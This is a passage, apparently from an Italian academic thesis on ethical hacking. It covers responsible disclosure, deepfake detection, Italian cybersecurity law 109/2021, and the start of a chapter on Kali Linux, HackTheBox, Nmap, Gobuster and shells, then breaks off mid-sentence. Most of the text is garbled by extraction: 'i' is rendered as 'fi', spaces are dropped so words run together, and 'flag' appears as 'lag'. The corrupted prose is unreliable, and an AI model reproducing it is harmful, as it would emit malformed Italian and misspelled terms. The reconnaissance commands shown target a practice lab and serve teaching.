sfianotrattatefinmodoconformeallenormatfiveefinmodotrasparente.

•RfispostaaglfiAttacchfi:nelcasofincufiun’applficazfionesocfialesubfiscaunattaccoouna
vfiolazfione,glfiethficalhackerpossonocontrfibufireafidentfificarelafontedell’attacco,
rfisolverelevulnerabfilfitàerfiprfistfinarelasficurezza.

•EducazfionedeglfiUtentfi:glfiethficalhackersvolgonounruoloeducatfivo,sensfibfilfizzando
glfiutentfisullemfinaccefinformatficheesullapratficadficomportamentfionlfinesficurfi.

•Svfiluppodfi MfiglfiorfiPratfiche:glfiethficalhackerpossonocollaborareconglfisvfiluppatorfi
dfiapplficazfionfipersvfilupparelfineegufidaemfiglfiorfipratfichedfisficurezza,contrfibuendo
acreareapplficazfionfipfiùresfilfientfieprotette.

Insfintesfi,lasficurezzadelleapplficazfionfisocfialfièessenzfialeperproteggereglfiutentfi
da mfinaccefinformatficheevfiolazfionfidellaprfivacy.Glfiethficalhackersvolgonounruolo
fondamentalenell’assficurarechequesteapplficazfionfisfianosficure,affidabfilfiefingradodfi
mantenerel’fintegrfitàdellefinterazfionfidfigfitalfi.

1.3.4 DfisclosureResponsfible

Spessocapfitacherficercatorfi,hackeretficfiochfiunqueutfilfizzfiunsoftwareounprodotto
hardwarepossafimbattersfifinunbug.Avoltecfisfirfiferfiscefinmanfieragenerficaallascoperta
dfibug, maquestfi“dfifettfi”,dfiprogettazfioneoprogrammazfione,possonoesserefinnocufi,
comedeglfierrorficheavvengonoquandosficompfieunadetermfinataazfione,oproblemfiben
pfiùgravfinelcasodfiunaveraeproprfiafalladfisficurezza,laqualepotrebbeessereusata
dauneventualemalfintenzfionatoperrubaredatfioaccedereapartfisensfibfilfidfiunsoftware
ocomponentehardware.Èchfiarochesulwebesfiste,finqualsfiasfimomento,qualcunoche
nonvedel’oradfipotersfruttarequestefalleaproprfiovantaggfio,usandoleperrubaredatfio
effettuarealtreoperazfionfichepossonocrearedefidannfi.

Sficcomenontuttficolorochescopronoquestefallesono,dfibase,deglfihackerfintenzfionatfi
afaredannfi,mamoltevoltesfitrattadfirficercatorfi,unfiversfitàoprogrammatorfiespertfiche,dfi
fatto,nonsonoperficolosfi,èstatafistfitufitaunaprassfifilcufiscopoèpermetterealleazfiende
chesvfiluppanoqueldetermfinatosoftwareocomponentedfipoterfintervenfireerfisolverefil
problemaprfimachesfiatroppotardfi,valeadfireprfimachequalchehackermalevolonevenga
aconoscenzaelesfruttfiasuovantaggfio.

La“ResponsfibleDfisclosure”,chepossfiamotradurrefin“dfivulgazfioneresponsabfile”,pre-
vedesemplficementechelapersonachescopreunavulnerabfilfitàcontattfil’azfiendaproduttrfice
dfiqueldetermfinatosoftwareocomponentehardwareeattendauncertolassodfitempo
prfimadfirenderlapubblfica,filche,filpfiùdellevoltesfignfificacomunficarlaalmondodfiInternet
tramfiteforumoaltrepfiattaforme.Quandoquestavulnerabfilfitàvfienerfivelata,filsoftware
(ohardware)finrealtànonèpfiùarfischfio,perchénelfrattemposaràstatoaggfiornatoper
elfimfinarefilproblema.

La“dfivulgazfioneresponsabfile”ponelesuebasfisulsentfimentodfiresponsabfilfitàsocfiale,
cfioèfafinmododfievfitarecheunaproprfiascopertapossaessereusatadaqualcunopercreare
dannfi,equfindfimetterefinperficoloaltrfifindfivfidufi.Ovvfiamentequestaetficasocfialeèpfiùforte
finalcunepersonepfiuttostochefinaltre, ma medfiamenteèquellocherficercatorfiohacker
etficfidovrebberofare.Ilfattodfidfivulgarelavulnerabfilfitàscopertadopocheèstatarfisoltaha
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senso,dalpuntodfivfistadelrficercatore,perunaquestfionedfirficonoscenzapersonaleedfi
bravura,cheallapersonastessapotrebbefarecomodo.

Nonesfistonodelleprocedureodefitempfispecfificfidasegufirenell’effettuarequesta“Re-
sponsfibleDfisclosure”:ognfiazfienda,finrealtà,dovrebbeaverelaproprfiaprassfi.Èsufficfiente
fareunarficercasuGooglecon“ResponsfibleDfisclosure”,segufitodalnomedell’azfienda,
peraccedereapagfinefincufivfienespfiegatalaprassfi,cfioètuttelefinformazfionfirelatfivea
chficomunficarelavulnerabfilfità,finchemodo,ecosìvfia.Solfitamentefiltempofincufiquesta
scopertadeverfimaneresegreta,perpermettereall’azfiendadfirfisolverefilproblema,varfiada
unmeseaunanno,conunamedfiatrafi90efi120gfiornfi.

1.3.5 Rfilevamentoeprevenzfionedefideepfake

Latecnologfiadeepfakeèsficuramentedfiventataunodefidrfiverprfincfipalfinellagenerazfio-
nedficontenutfi;c’èfilpotenzfialenonsoloperdfistrfibufirenotfizfiefalse,maanchepercausare
dfisordfinfipolfitficfi,unaumentodellacrfimfinalfitàfinformatfica,delrevengeporn,scandalfifasullfi
eunaumentodellemolestfieedeglfiabusfionlfine,finoltre,fintrfibunalevfideopresentatficome
provapotrebberoessereresfifinutfilfidalutfilfizzodfitaletecnologfia.

Glfisvfiluppatorfidfideepfakehannolacapacfitàdfifardfireofareallepersonetuttocfiòche
voglfionoe,successfivamente,dfivulgarefifalsficontenutfimanfipolatfionlfine.Adesempfio,nel
2021,lacommfissfioneperglfiaffarfiesterfidelparlamentoolandeseèstatafindottaconl’finganno
acondurreunavfideochatconqualcunochefimpersonavaLeonfidVolkov,fildfissfidentepolfitfico
chegufidalostaffdfiAlexefiNavalny,leaderdell’opposfizfionerussaeprfincfipaleavversarfiodfi
Putfin.

Leagenzfiegovernatfivesonopartficolarmentepreoccupatesulfattochefideepfakepossano
essereutfilfizzatfiperpropagaredfisfinformazfioneecondurrecrfimfinfi.Eppurefilfuturodefideep
fakepotrebbeesseredavverolumfinoso, mapergarantfirecheleapplficazfionfifalsenon
venganoutfilfizzatefinmodofimproprfiodovremmocrearedefilfimfitfi,anchese,consfiderandola
velocfitàdelprogressotecnologficofinquestocampo,rfisultadfifficfilepensareadunaprotezfione
totale.Nefiprossfimfiannfi,fideepfakeutfilfizzerannotecnologfieeprocessfibasatfisull’Intellfigenza
Artfificfialesemprepfiùsofistficatfiaccelerandoepotenzfiandoglfiattacchfidfifingegnerfiasocfiale.

Lasficurezzacognfitfivaèqufindfipartficolarmenteutfileperprevenfireglfiattacchfifinformatficfi
che manfipolanolapercezfioneumana.Talfiattacchfidettfianche“hackfingcognfitfivfi”,sono
progettatfiperfinluenzareficomportamentfideglfiutentfialfinedfiraggfiungereglfiscopfi
dell’attaccante.Glfisforzfiperlasficurezzacognfitfivafinquestosettorefincludonoancheapproccfi
nontecnficfi,adesempfiofilconcettodfi“firewallumano”che mfiraarenderelepersone
menovulnerabfilfiallamanfipolazfione,tecnficamentepfiùpreparate,nonchésoluzfionfitecnfiche
progettateperrfilevaredatfifuorvfiantfi,dfisfinformazfione,cosìcomemetodfiperprevenfirnela
dfiffusfione.

Ideepfakehannopresod’assaltoInternet,trascfinandosfidfietrocelebrfità,polfitficfiegente
comune,nonsoloperdfivertfiremaancheperscopfimalevolfi,adesempfiocreandodfisfinforma-
zfioneattraversofilraccontodficosemafiaccadute.Neglfiultfimfimesfistfiamoassfistendoall’utfi-
lfizzosemprepfiùfrequentedfitecnologfiadeepfake,dall’fintrattenfimentoallacyberwarfare
nelconlfittotraRussfiaeUcrafina.

Altroaspettosucufièbeneporreattenzfioneèlaqualfitàdefiprodottfirealfizzatfi,semprepfiù
realfistficfioramafiequasfitecnficamentefindfistfingufibfilfidaunorfigfinale,senonperfilcontesto:
contenutfiesfituazfionespessononcofincfidonoconlapersonaolarealtàrappresentata.
Qualfisonofimetodfidfiprevenzfionecontrofideepfake?

Leautorfitàhannogfiàcomfincfiatoadaffrontarelamfinaccfiadefivfideodeepfake.Adesem-
pfio,nelloStatodellaCalfifornfiasonostatfiapprovatfidueprogettfidfileggecherendonofillegalfi
alcunepratfichedeldeepfake.LaleggeAB-602vfietal’usodfifimmagfinfiumanesfintetficheper
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crearepornografiasenzafilconsensodellapersonafinteressata,mentrelaleggeAB-730vfieta
lamanfipolazfionedellefimmagfinfidficandfidatfipolfitficfiamenodfi60gfiornfidalleelezfionfi.

Masaràsufficfiente?Perfortunafivendordficybersecurfityrfilascfianocontfinuamente
nuovfialgorfitmfidfirfilevamentosemprepfiùefficacfi,cheanalfizzanofivfideoerfilevanole
pficcoledfistorsfionfifintrodottedurantefilprocessodfifalsfificazfione.Adesempfio,fisfintetfizzatorfi
deepfakeattualfimodellanounvfiso2Dequfindfilodfistorconoperadattarloallaprospettfiva
3Ddelvfideo.Inquestficasfièfondamentaleosservareladfirezfionedelnaso.

Unaltromododfiprevenzfionecontrofideepfakeèlarficercadelleseguentficaratterfistfiche:

• movfimentfiascatto;

•cambfiamentfidfifillumfinazfionedaunfotogrammaall’altro;

•cambfiamentfidfitonalfitàdellapelle;

•battfitodficfiglfiaanomalooassente;

•scarsasfincronfizzazfionedellelabbraconfilparlato;

•artefattfidfigfitalfinell’fimmagfine.

Purtroppo,confilcontfinuo mfiglfioramentodelletecnfichedeepfake,saràsemprepfiù
dfifficfilerficonoscerefifalsfiaocchfionudoesarànecessarfiorficorrereaunbuonprogrammadfi
cybersecurfity.

Qufientranofingfiocoletecnologfieantfi-falsfificazfioneall’avanguardfiacome,adesempfio,
alcunetecnologfieemergentfilequalfioggfiafiutanofivfideomakeradautentficarefiproprfivfideo.
Èpossfibfileutfilfizzareunalgorfitmodficrfittografiaperfinserfirehashafintervallfiprestabfilfitfi
durantefilvfideo.Sefilvfideovfienealterato,glfihashvengonomodfificatfi.LetecnologfieIAe
blockchafinconsentonodfiregfistrareun’fimprontadfigfitaleantfi-manomfissfioneperfivfideo.È
sfimfileallafilfigranaperfidocumentfi,mafilproblemaèchequestfihashdevonosopravvfivere
anchefincasodficompressfionedelvfideoperl’usoconcodecdfiversfi.

Unaltro modoperscoraggfiarefitentatfivfidfideepfakeècostfitufitodall’utfilfizzodfiun
programmachefinserfiscenefivfideoartefattfidfigfitalfiespressamenteconcepfitfipernascondere
glfischemfidfipfixelutfilfizzatfidalsoftwaredfirfilevamentodefivoltfi.Questorallentaglfialgorfitmfi
deepfakeerfiducelaqualfitàdefirfisultatfi,lfimfitandoleprobabfilfitàdfisuccessodelDeepfakfing.

Unesempfioqualfitatfivamentenotevoledfideepfakeè mostratonellaFfigura1.7,che
ultfimamenteèdfiventatovfirale,sonofivfideosuTfikTokdell’attoreTomCrufise.Creatfida Mfiles
Ffisher,chegrazfieadunafisfionomfiasfimfileall’attore,realfizzavfideodeepfakedfiunaelevata
qualfità.

Ffigura1.7:EsempfiodfiDeepfakeconl’attoreTomCrufise
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1.3.6 PrevenzfionedfiIstfituzfionfiGovernatfive

Nelmondodfigfitalefincontfinuaevoluzfione,lefistfituzfionfigovernatfiverfivestonounruolo
crfitficonellapreservazfionedellasficurezzanazfionale,nellatuteladefidatfisensfibfilfienell’offerta
dfiservfizfiessenzfialfiaficfittadfinfi.Tuttavfia,lacrescentecomplessfitàdellesfidefinformatfiche
ponetalfifistfituzfionfidfifronteamfinaccesemprepfiùsofistficate.

L’ethficalhackfingsvolgeunruolocrucfialenellaprevenzfionedellemfinaccefinformatfiche
all’finternodellefistfituzfionfigovernatfive.

Perquantoconcernelenormatfivefitalfianerfiguardolacybersecurfity,èstatapubblficata
finGazzettaUfficfialelalegge4agosto2021,n.109recante“Dfisposfizfionfiurgentfifinmaterfia
dficybersficurezza,definfizfionedell’archfitetturanazfionaledficybersficurezzaefistfituzfione
dell’Agenzfiaperlacybersficurezzanazfionale”.

Lalegge109/2021definfiscel’archfitetturanazfionaledficybersficurezza,fintroducedfiverse
novfitàfinmaterfiaefistfitufisce:

•L’AgenzfiaNazfionaleperlaCybersecurfity:èfistfitufitaatuteladeglfifinteressfinazfionalfinel
campodellacybersficurezza,hapersonalfitàgfiurfidficadfidfirfittopubblficoedèdotata
dfiautonomfiaregolamentare,ammfinfistratfiva,patrfimonfiale,organfizzatfiva,contabfilee
finanzfiarfia,nefilfimfitfidfiquantoprevfistodallalegge.L’ACNcontafinoadunnumero
massfimodfiottoufficfidfilfivellodfirfigenzfialegenerale,nonchéfinoadunnumero
massfimodfitrentaartficolazfionfidfilfivellodfirfigenzfialenongeneralenell’ambfitodelle
rfisorsedfisponfibfilfi.L’Agenzfiapuòrfichfiedere,anchesullabasedfiapposfiteconvenzfionfi
enelrfispettodeglfiambfitfidfiprecfipuacompetenza,lacollaborazfionedfialtrfiorganfi
delloStato,dfialtreammfinfistrazfionfi,delleForzearmate,delleforzedfipolfizfiaodfientfi
pubblficfiperlosvolgfimentodefisuoficompfitfifistfituzfionalfi.

Iprfincfipalficompfitfidell’Agenzfiasono:

–Promuoverelarealfizzazfionedfiazfionficomunfidfiretteadassficurarelasficurezza
elaresfilfienzacfibernetficheperlosvfiluppodelladfigfitalfizzazfionedelPaese,del
sfistemaproduttfivoedellepubblficheammfinfistrazfionfi.

–Predfisporrelastrategfianazfionaledficybersficurezza.

–SvolgereognfinecessarfiaattfivfitàdfisupportoalfunzfionamentodelNucleoperla
cybersficurezza.

–Svfilupparecapacfitànazfionalfidfiprevenzfione,monfitoraggfio,rfilevamentoemfitfi-
gazfione,perfarfronteaglfifincfidentfidfisficurezzafinformatficaeaglfiattacchfifinfor-
matficfi,ancheattraversofilComputerSecurfityIncfidentResponseTeam(CSIRT)
fitalfianoel’avvfiooperatfivodelCentrodfivalutazfioneecertfificazfionenazfionale.

–Curareepromuoveladefinfizfioneedfil mantenfimentodfiunquadrogfiurfidfico
nazfionaleaggfiornatoecoerenteneldomfinfiodellacybersficurezza,tenendoanche
contodeglfiorfientamentfiedeglfisvfiluppfifinambfitofinternazfionale.

–Supportarelosvfiluppodficompetenzefindustrfialfi,tecnologficheescfientfifiche,
promuovendoprogettfiperl’finnovazfioneelosvfiluppoe mfirandoastfimolare
nelcontempolacrescfitadfiunasolfidaforzadfilavoronazfionalenelcampodella
cybersecurfityfinun’ottficadfiautonomfiastrategficanazfionalenelsettore.

–Assumerelefunzfionfidfifinterlocutoreunficonazfionaleperfisoggettfipubblficfi
eprfivatfifin materfiadfi mfisuredfisficurezzaeattfivfitàfispettfiveneglfiambfitfidel
perfimetrodfisficurezzanazfionalecfibernetfica,dellasficurezzadelleretfiedefisfistemfi
finformatfivfi(dfirettfivaNIS),edellasficurezzadelleretfidficomunficazfioneelettronfica.
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–Svolgereattfivfitàdficomunficazfioneepromozfionedellaconsapevolezzafinmaterfia
dficybersficurezza,alfinedficontrfibufireallosvfiluppodfiunaculturanazfionalefin
materfia.

•IlComfitatoIntermfinfisterfialeperlacybersficurezza(CIC):fistfitufitopressolaPresfidenzadel
Consfiglfiodefi mfinfistrfifilqualehafunzfionfidficonsulenzaevfigfilanzafin materfiadfi
polfitfichedficybersficurezza,ancheafifinfidellatuteladellasficurezzanazfionalenello
spazfiocfibernetfico.

EccoqualfisonolefunzfionfidelComfitato:

–ProporrealPresfidentedelConsfiglfiodefimfinfistrfiglfifindfirfizzfigeneralfidapersegufire
nelquadrodellepolfitfichedficybersficurezzanazfionale.

–Esercfitarel’altasorveglfianzasull’attuazfionedellastrategfianazfionaledficybersficu-
rezza.

–Promuovel’adozfionedellefinfizfiatfivenecessarfieperfavorfirel’efficacecollabora-
zfione,alfivellonazfionaleefinternazfionale,trafisoggettfifistfituzfionalfieglfioperatorfi
prfivatfifinteressatfiallacybersficurezza,nonchéperlacondfivfisfionedellefinforma-
zfionfieperl’adozfionedfi mfiglfiorfipratficheedfi mfisurerfivolteall’obfiettfivodella
cybersficurezzaeallosvfiluppofindustrfiale,tecnologficoescfientfificofinmaterfiadfi
cybersficurezza.

•IlNucleoperlaCybersficurezza:nasceasupportodelPresfidentedelConsfiglfiodefi mfi-
nfistrfinella materfiadellacybersficurezza,perglfiaspettfirelatfivfiallaprevenzfionee
preparazfioneadeventualfisfituazfionfidficrfisfieperl’attfivazfionedelleproceduredfi
allertamento.

IlNucleopuò:

–FormularepropostedfifinfizfiatfivefinmaterfiadficybersficurezzadelPaese,anchenel
quadrodelcontestofinternazfionalefinmaterfia.

–Promuoverelaprogrammazfioneelapfianfificazfioneoperatfivadellarfispostaa
sfituazfionfidficrfisficfibernetficadapartedelleammfinfistrazfionfiedeglfioperatorfi
prfivatfifinteressatfi.

–Promuovereecoordfinarelosvolgfimentodfiesercfitazfionfifintermfinfisterfialfi,ovve-
rolapartecfipazfionenazfionalefinesercfitazfionfifinternazfionalficherfiguardanola
sfimulazfionedfieventfidfinaturacfibernetficaalfinedfifinnalzarelaresfilfienzadel
Paese.

–Valutareepromuovere,finraccordoconleammfinfistrazfionficompetentfiperspecfificfi
profilfidellacybersficurezza,proceduredficondfivfisfionedellefinformazfionfi,anche
conglfioperatorfiprfivatfifinteressatfi,afifinfidelladfiffusfionedfiallarmfirelatfivfiad
eventficfibernetficfieperlagestfionedellecrfisfi.

IlGoverno,attraversol’approvazfionedellalegge,fintendepromuoverelaculturadella
sficurezzacfibernetficaeaumentarelaconsapevolezzasultemaall’finternodelsettorepubblfico
eprfivato,accendendofirfilettorfisufirfischfiesullemfinaccecyber.

Neglfiultfimfiannfi,finfattfi,l’accrescfiutaesposfizfioneallemfinaccecfibernetfichehaevfiden-
zfiatolanecessfitàdfisvfiluppare,fintempfibrevfi,fidonefiesemprepfiùstrfingentfimeccanfismfi
dfitutelaeCyberSecurfity;bastfipensareche,secondoglfiultfimfidatfisullacybercrfimfinalfità
raccoltfidallaCommfissfioneeuropeaerfiportatfidaAnsa,glfiattacchfifinformatficfisulargafin
Europasonopassatfida432nel2019a756nel2020,regfistrandounaumentodel75%rfispetto
al2019.
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Trafisettorfi maggfiormentecolpfitficfisonofil“MultfipleTargets”(20%deltotaledeglfi
attacchfi),checomprendeattacchfirealfizzatfiversomolteplficfiobfiettfivfispessofindfifferenzfiatfi,fil
settoreGovernatfivo,mfilfitare,Forzedell’ordfineeIntellfigence(14%deltotaledeglfiattacchfi),
lasanfità,(12%deltotaledeglfiattacchfi),larficercaeIstruzfione(11%deltotaledeglfiattacchfi)e
fiservfizfionlfine(10%deltotaledeglfiattacchfi).Inoltre,sonocrescfiutfiglfiattacchfiversoBankfing
Ffinance(8%),produttorfidfitecnologfiehardwareesoftware(5%)efinfrastrutturecrfitfiche(4%).



CAPITOLO 2

Tecnologie coinvolte

In questo capitolo, si esploreranno in dettaglio le tecnologie fondamentali coinvolte nell’esecuzione di tre
distinti penetration test, descritti in modo più accurato nei capitoli successivi, ciascuno con un focus unico e
specifico. Ci immergeremo nell’ambiente di lavoro, nelle metodologie, nei concetti chiave e negli strumenti
necessari per valutare la sicurezza e la robustezza di sistemi informatici, al fine di individuarne le possibili
vulnerabilità e mettere in pratica dei penetration test.

2.1 Kali Linux

Nell’ambito della cybersecurity, al fine di eseguire operazioni più sofisticate rispetto
ad altri sistemi operativi come macOS o Windows, viene utilizzata una forma riadattata
del sistema operativo Linux denominata Kali Linux. Basato su Debian, anzichè su Ubuntu,
Kali Linux offre un ambiente agile, potente e una grande facilità di utilizzo tale da essere
ampiamente utilizzato da professionisti della sicurezza informatica, da ethical hacker e
penetration tester per identificare e risolvere vulnerabilità nei sistemi e nelle reti. Inoltre,
il sistema operativo in considerazione dispone di una suite di software preinstallati che
semplificano la vita agli ethical hacker, tra cui ricordiamo:

• Nmap: acronimo di "Network Mapper", strumento di scansione di rete ampiamente
utilizzato per eseguire il rilevamento di dispositivi e servizi su una rete.

• John the Ripper: spesso abbreviato come "John", potente strumento di cracking delle
password utilizzato per testare la sicurezza delle password in sistemi e servizi.

• Burp Suite: strumento di sicurezza informatica ampiamente utilizzato per il penetra-
tion test, la valutazione della sicurezza delle applicazioni web e il rilevamento di
vulnerabilità.

Al tempo stesso Kali Linux rappresenta una piattaforma altamente personalizzabile in
quanto, con l’uso di metapacchetti, ottimizzati per i task specifici di un professionista della
sicurezza, e un processo di personalizzazione ISO altamente accessibile e ben documentato, è
sempre facile generare una versione ottimizzata di Kali per le proprie esigenze specifiche.

Kali Linux è una distribuzione open source offerta gratuitamente al pubblico che può
essere installata sia su architetture di processori a 32 bit che a 64 bit. Ne ricordiamo anche
l’uso in versione virtualizzata, ossia su macchine virtuali, come, ad esempio, VMware Fusion,
un’applicazione di virtualizzazione progettata per consentire agli utenti di eseguire sistemi
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operatfivfidfiversfi,finclusfi Wfindows,Lfinux,KalfiLfinuxealtrfi,all’finternodfiuna macchfina
vfirtualesuuncomputer Mac.

Perfinstallarel’ISOdelsfistemaoperatfivod’finteresse,cfisfipuòrecareallapagfinaufficfiale
dfidownloadhttps://www.kalfi.org/get-kalfi/#kalfi-platforms.

NellaFfigura2.1sfipuònotareunclassficoesempfiodfiKalfiLfinuxfinstallatosullavfirtual
machfineVMwareFusfion.

Ffigura2.1:EsempfiodfischermatadesktopdfiKalfiLfinux

2.2 HackTheBox

Alfinedfiapprenderefimetodfieletecnfichefondamentalfipereffettuareunpenetratfion
testfin modoetfico,senzaarrecaredannfianessuna macchfinaofindfivfiduo,nel2017èstata
fintrodottalapfiattaformaHackTheBox,nellaqualeèpossfibfileesercfitarsfieffettuandodefi
penetratfiontestconmacchfinemesseadfisposfizfione,finmodotaledasfimulareattacchfisficurfi
finuncontestopratfico.

OgnfimacchfinabersaglfiofornfitadaHackTheBoxhaunproprfiolfivellodfidfifficoltà(very
easy,easy,medfium,hardofinsane)eunproprfiosfistemaoperatfivo(Lfinux, Wfindows,Androfid
etc.).Aprescfinderedallecaratterfistfichedfiognfi macchfina,perognunadfiessesfidevono
rficavareduelag:lauserlagelarootlag.Lafasedellarficercadellauserlagèdenomfinata
explofitatfionesfirfiferfisceadunlfivellodfiutenzabase, mentrelafasedfirficercadellaroot
lagèdenomfinatapost-explofitatfionesfirfiferfisceadunlfivellodfiutenzaconfiprfivfilegfidfi
ammfinfistratore.

UnprerequfisfitofondamentaleperfinfizfiareunpenetratfiontestèfilcollegamentoallaVPN
corrfispondenteallamacchfinabersaglfiofornfitadaHTB;pereffettuaretalecollegamento:

1.sfiscarficafilfile.ovpndfisponfibfilesulsfito;

2.dall’finterfaccfiaarfigadficomando(termfinale)sfidfigfitafilseguentecomando"sudo
openvpnnomefile.ovpn".

L’operazfionesaràeffettuataconsuccessosesulloschermoapparfiràfilseguenteoutput
"InfizfialfizatfionSequenceCompleted"e,recandosfisulsfitodfi HackTheBox,laconnessfione
rfisulteràattfiva.Danotareche,pertuttaladuratadelpenetratfiontest,filtermfinalesucufiè
stataeffettuatalasuddettaoperazfionedeverfimanereaperto.

https://www.kali.org/get-kali/#kali-platforms


§2.3− Enumerazfione 27

Unavoltafindfivfiduateleduelagscorrfispondentfiadunamacchfinaspecfifica,verranno
aggfiuntfidefipuntfialproprfioprofilo,comesfivedenellaFfigura2.2.

Ffigura2.2:Esempfiodfimacchfinarfisolta

2.3 Enumerazfione

L’enumerazfioneèunafasefondamentalenelprocessodfipenetratfiontestenell’analfisfidfi
sficurezzadelleretfiedelleapplficazfionfi.Essenzfialmente,sfitrattadfiraccoglfierefinformazfionfi
dettaglfiatesuunsfistematargetounaretealfinedfifidentfificarevulnerabfilfità,porteaperte,
servfizfifinesecuzfione,accountutente,filenascostfioaltrefinformazfionfirfilevantfichepossono
esseresfruttateoanalfizzateulterfiormentepervalutarelasficurezzaelarobustezzadelsfistema.
Inquestocontesto,vedremoduestrumentfimoltoutfilfiperl’enumerazfioneovveroNmape
Gobuster.

2.3.1 Nmap

Nmapèunsoftwarechehaguadagnatounanotevolenotorfietànelcampodellasficurezza
finformatficaedell’ammfinfistrazfionedfirete.Èunaveraeproprfia"mappa"delmondodfigfitale,
unostrumentocheafiutaaesplorareecapfirelecomplesseretfidficomputerchepermeanola
vfitaquotfidfiana.

Questostrumento,svfiluppatodaGordonLyon,notocome"Fyodor",haunastorfialunga
efinteressante.Èfinfizfiatocomeunpficcoloprogettopersonaleesfièevolutofinoadfiventare
unodefisoftwaredfisficurezzafinformatficapfiùutfilfizzatfierfispettatfialmondo.Oggfi,Nmapè
opensourceegratufito,unsfimbolodellacomunfitàglobaledellasficurezzafinformatficache
collaboraperproteggerelanostrapresenzadfigfitale.

MaperchéNmapècosìfimportante? Perchéèunostrumentochecfiafiutaaguardaresotto
lasuperficfiedelleretfi,afidentfificareleporteaperteefiservfizfifinesecuzfionesudfiesse.Esso
cficonsentedficonosceremeglfiofisfistemfioperatfivficherfispondonoallenostrerfichfiesteecfi
fornfisceunquadrodettaglfiatodelleretficheanalfizzfiamo.

Nmapèunostrumentoversatfile.Puòessereutfilfizzatoperscopfilegfittfimficomefilpenetra-
tfiontestelavalutazfionedellasficurezza,afiutandocfiafindfivfiduarevulnerabfilfitànelleretfie
nefisfistemfi.Tuttavfia,lasuapotenzapuòancheesseresfruttataperscopfimalevolfi,motfivoper
cufièessenzfialeutfilfizzareNmapfinmodoetficoelegale,ottenendosemprel’autorfizzazfione
approprfiataprfimadficondurrescansfionfisusfistemfioretfichenonsfipossfiedonoodficufinon
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sfihannofidfirfittfipertestarlfi.

PerscarficareNmapsullaproprfiamacchfinaKalfiLfinux,sfipuòdfigfitaredafinterfaccfiaa
rfigadficomandofilseguentecomando"sudoaptfinstallnmap".

InFfigura2.3sfipuònotareunesempfiodfiesecuzfionedfiNmapnelcasodfiunascansfione
specfificandol’findfirfizzoIPdfiunamacchfina.

Ffigura2.3:EsempfiodfiutfilfizzodfiNmap

NelcomandofinFfigura2.3sonostatfiutfilfizzatfifiseguentfiparametrfi:

•sC:equfivalentea"scrfipt=default";findficaaNmapdfiesegufireglfiscrfiptdfiscansfione
predefinfitfifiqualfifornfisconofinformazfionfisufiservfizfiesullepotenzfialfivulnerabfilfità.

•sV,persondareleporteaperteandandoadetermfinarelefinformazfionfisufiservfizfifin
ascoltosuquest’ultfimeeprovandoafidentfificarneleversfionfi.

•Pn,perfignorarefildfiscoverydfihosteconsfiderarefilbersaglfiocome"onlfine",findfipen-
dentementedalsuostato.

2.3.2 Gobuster

Gobusterèunsoftwareopensourceegratufito,svfiluppatodallacomunfitàdfisficurezza
finformatfica,progettatoperl’enumerazfionedfidfirectoryefilesuserverweb.Inaltreparole,
Gobusterèunespertoesploratoredfigfitalechesfiavventuranel mondodelleapplficazfionfi
weballarficercadfifinformazfionfinascoste.

LapotenzadfiGobusterrfisfiedenellasuacapacfitàdfiscandaglfiareunserverwebfinmodo
sfistematficoeautomatfizzatoallarficercadfirfisorsechepotrebberononesserefimmedfiatamente
vfisfibfilfioaccessfibfilfitramfitenavfigazfionestandard.Questoèfondamentalenelpenetratfiontest
enellavalutazfionedellasficurezzadelleapplficazfionfiweb,pofichécficonsentedfifidentfificare
dfirectoryofilechepotrebberocontenerefinformazfionfisensfibfilfiovulnerabfilfità.

UnaspettocrucfialedasottolfineareècheGobusterpuòessereutfilfizzatoperscopfietficfi
elegalfi,comepartedfiunprocessodfipenetratfiontestper mfiglfiorarelasficurezzadelle
applficazfionfiweb.Tuttavfia,èaltrettantofimportanteutfilfizzarequestostrumentofin modo
responsabfile,ottenendosemprel’autorfizzazfioneapproprfiataprfimadfiesegufirescansfionfisu
applficazfionfioserverwebchenoncfiappartengonooperfiqualfinonsfiamoautorfizzatfi.

PerfilsuofunzfionamentofiltoolGobusterrfichfiedel’utfilfizzodellewordlfist,chesono
elenchfidfiparoleostrfinghepredefinfitechevengonoutfilfizzatepercondurrelascansfionee
l’enumerazfionedfidfirectory,fileorfisorsesuunserverweb.Questewordlfistcontengonouna
serfiedfipossfibfilfinomfidfidfirectory,nomfidfifileostrfinghe,chepotrebberoesserepresentfio
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utfilfizzatefinun’applficazfioneweb.NelcasodfiKalfiLfinux,l’elencodellewordlfistsfitrovano
nelladfirectory/usr/share/wordlfists.

Inoltrefiltoolnecessfitadfiunaserfiedfiparametrfifinrfiferfimentoall’findfirfizzodascansfionare,
allawordlfist,allaverbosfità,etc.

Notfiamo,nellaFfigura2.4,unesempfiodfiutfilfizzodfiGobuster;finpartficolarevfienefillustra-
tol’outputdopoaveresegufitofilcomandodafinterfaccfiaarfigadficomandogobuster dfir
-u http://pfilgrfimage.htb -w /usr/share/wordlfists/dfirbuster/dfirectory
-lfist-2.3-medfium.txt -x php,txt,png,html.Quest’ultfimoèutfilfizzatoperesegufi-
reunascansfionedfidfirectorysulsfitowebhttp://pfilgrfimage.htbutfilfizzandounalfista
dfipossfibfilfinomfidfidfirectoryefilefornfitfinelfiledfirectory-lfist-2.3-medfium.txt
conl’obfiettfivodfifindfivfiduaredfirectoryefileconleestensfionfi.php,.txt,.pnge.html
all’finternodelsfitoweb.

Ffigura2.4:EsempfiodfiutfilfizzodfiGobuster

2.4 Shell

Lashellrappresentaunostrumentofondamentalenelcorsodfiunpenetratfiontest;filsuo
fimpfiegosfitrovasfianellafasedfiexplofitatfionchefinquelladfipost-explofitatfion.

Infattfi,nellafasedfiexplofitatfion,l’obfiettfivoprfincfipaleèquellodfiottenereunashelldel
sfistematarget,ossfiaun’finterfaccfiaarfigadficomando(CommandLfineInterfaceoCLI)che
permetteall’utentedfiesegufirecomandfioperatfivfialfinedficompfiereattfivfitàdfiraccoltadfi
finformazfionfiesfruttamentodellevulnerabfilfità.Inaltreparolelashellvfieneutfilfizzataper
ottenereunaccessodfiretto,finterattfivoepersfistenteneltempo,alsfistematarget.Questoac-
cessopuòessereottenutoattraversol’explofitdfivulnerabfilfità,comevulnerabfilfitàdfisficurezza
delsoftware,errorfidficonfigurazfioneoaltredebolezze.

Unavoltaottenutol’accesso,glfiattaccantfipossonoutfilfizzarelashellperesegufirecodfice
arbfitrarfiosulsfistematarget.Questopuòfincluderel’esecuzfionedficomandfi,scrfiptoprogram-
mficheconsentonoaglfiattaccantfidfiesegufireattfivfitàmalevoleodficonfigurarefilsfistemaa
proprfiovantaggfio.

Anchenellafasedfipost-explofitatfiontrovfiamol’fimpfiegodfiunashellfinquantoglfiattaccantfi
